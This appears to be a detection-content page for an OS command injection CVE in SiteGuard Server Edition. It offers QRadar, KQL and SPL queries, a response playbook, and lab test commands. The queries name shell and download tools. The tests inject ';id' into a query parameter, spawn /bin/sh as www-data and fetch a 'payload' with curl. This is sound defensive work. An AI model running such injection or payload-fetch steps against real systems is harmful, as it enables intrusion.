CVE-2026-106931 IBM QRadar · QRadar

Detect EG Secure Solutions SiteGuard Server Edition OS Command Injection (CVE-2026-106931) in IBM QRadar

Detects exploitation of CVE-2026-106931, an OS command injection vulnerability (CWE-78) in EG Secure Solutions SiteGuard Server Edition. SiteGuard is a web application firewall/server security product; the flaw allows an attacker to inject arbitrary operating system commands through unsanitized input processed by the server component, resulting in remote code execution under the context of the SiteGuard/web server process. This CVE is listed in the CISA KEV catalog (BOD 26-04) indicating active in-the-wild exploitation. This detection identifies command-injection payloads in requests to the SiteGuard management/server interface and suspicious child processes spawned by the SiteGuard or web server process.

MITRE ATT&CK

Tactic
Initial Access Execution

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT sourceip, destinationip, "URL", "User Agent", QIDNAME(qid) AS eventName FROM events WHERE ("URL" ILIKE '%siteguard%' OR "URL" ILIKE '%sg_%') AND ("URL" IMATCHES '.*(;|\||&&|`|\$\(|%3B|%7C|%26|wget |curl |/bin/(sh|bash)|cmd\.exe|powershell|bash -i).*') ORDER BY startTime DESC LAST 24 HOURS
critical severity medium confidence

Returns SiteGuard HTTP requests whose URL contains command-injection metacharacters or download/shell payloads.

Data Sources

Web proxy eventsWeb server logs

Required Tables

events

False Positives & Tuning

  • Authorized scanners probing SiteGuard
  • Legitimate parameters containing shell metacharacters
  • Penetration testing traffic

Other platforms for CVE-2026-106931


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulated command injection via SiteGuard query string

    Expected signal: Web/IIS access log entry for /siteguard/admin with URL-encoded ';id' in the query string

  2. Test 2 Web server spawns shell child process

    Expected signal: Process-start event: parent httpd/nginx/www-data spawning /bin/sh

  3. Test 3 Remote payload download from server context

    Expected signal: Process-start event for curl with parent in the web server context and outbound network connection


Response Playbook

Triage

  1. Confirm the targeted host runs EG Secure Solutions SiteGuard Server Edition and identify its exact version against the vendor advisory (alert-202610-1).
  2. Extract the full request payload (URL/query/body) and decode any URL-encoded metacharacters to confirm an OS command-injection pattern rather than a benign special character.
  3. Correlate the source IP against threat intel and determine whether it is an authorized scanner, a known pentest source, or an untrusted external host.
  4. Pivot to endpoint process telemetry on the SiteGuard host to check whether the web server or SiteGuard process spawned any shell, download, or interpreter child processes around the request time.

Containment

  1. Isolate or network-segment the affected SiteGuard host to prevent lateral movement and command-and-control callbacks.
  2. Block the attacker source IP(s) at the perimeter and apply the vendor-supplied patch or mitigation from the SiteGuard advisory immediately.
  3. Rotate credentials and secrets accessible from the SiteGuard/web server process context, as RCE may have exposed them.

Evidence Collection

  1. Preserve web server access/error logs, SiteGuard application logs, and syslog covering the suspected exploitation window.
  2. Capture a memory image and disk/triage collection of the SiteGuard host, including process listings, cron/systemd/service persistence, and recently modified files.
  3. Export EDR process-tree, network-connection, and file-write telemetry for the SiteGuard and web server processes.

Escalation Criteria

  • !Escalate to incident response if a shell, reverse connection, or unexpected child process is confirmed to have been spawned from the SiteGuard/web server process.
  • !Escalate if there is evidence of persistence, credential access, or lateral movement from the affected host.
  • !Escalate to management/legal if the host handles regulated data or if KEV-mandated remediation timelines (CISA BOD 26-04) are at risk of being missed.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web server and SiteGuard access/error logs showing injection payloads
  • >Shell history, spawned process artifacts, and newly created/modified files under the SiteGuard or web root directories
  • >New cron jobs, systemd services, or startup entries indicating persistence

Tuning Guidance

Baseline legitimate SiteGuard administrative traffic and known scanner/pentest source IPs, then exclude them. Narrow the metacharacter set to those relevant to the SiteGuard request format if benign parameters frequently contain special characters. Pair the web-log signal with the endpoint process-spawn signal to raise confidence and suppress standalone probe noise.


Hunting Queries

Hunts for SiteGuard requests carrying command-injection metacharacters or download/shell payloads over time.

Hunting — KQL
kql
W3CIISLog | where csUriStem has "siteguard" or csUriQuery has "siteguard" | where csUriQuery has_any (";","|","&&","wget","curl","/bin/sh") | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h)
Hunting — SPL
spl
index=web ("siteguard" OR "sg_") | regex uri_query="(;|\||&&|wget|curl|/bin/sh)" | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 Simulated command injection via SiteGuard query string
linux

Sends an HTTP request to a lab SiteGuard endpoint with a shell metacharacter and benign command to generate a web-log detection event.

Command

bash
curl -s 'http://siteguard-lab.local/siteguard/admin?param=test%3Bid' -A 'atomic-test-cve-2026-106931'

Cleanup

bash
echo 'No cleanup required; request is non-persistent'

Expected Telemetry

Web/IIS access log entry for /siteguard/admin with URL-encoded ';id' in the query string

Expected Detection

The kql/spl/qradar_aql/sumo_logic/chronicle_yaral web-log queries match on the injection metacharacters.

Test 2 Web server spawns shell child process
linux

Simulates post-injection behavior by having a web-server-context process spawn /bin/sh running a command.

Command

bash
sudo -u www-data /bin/sh -c 'id; uname -a'

Cleanup

bash
echo 'No persistence created'

Expected Telemetry

Process-start event: parent httpd/nginx/www-data spawning /bin/sh

Expected Detection

The elastic_eql and crowdstrike_cql process-lineage queries match the shell child process.

Test 3 Remote payload download from server context
linux

Simulates attacker downloading a second-stage payload via curl from the web server process context.

Command

bash
sudo -u www-data curl -s -o /tmp/atomic_payload http://127.0.0.1/payload.txt

Cleanup

bash
rm -f /tmp/atomic_payload

Expected Telemetry

Process-start event for curl with parent in the web server context and outbound network connection

Expected Detection

The elastic_eql and crowdstrike_cql queries match curl spawned by the web server parent process.

Related Detections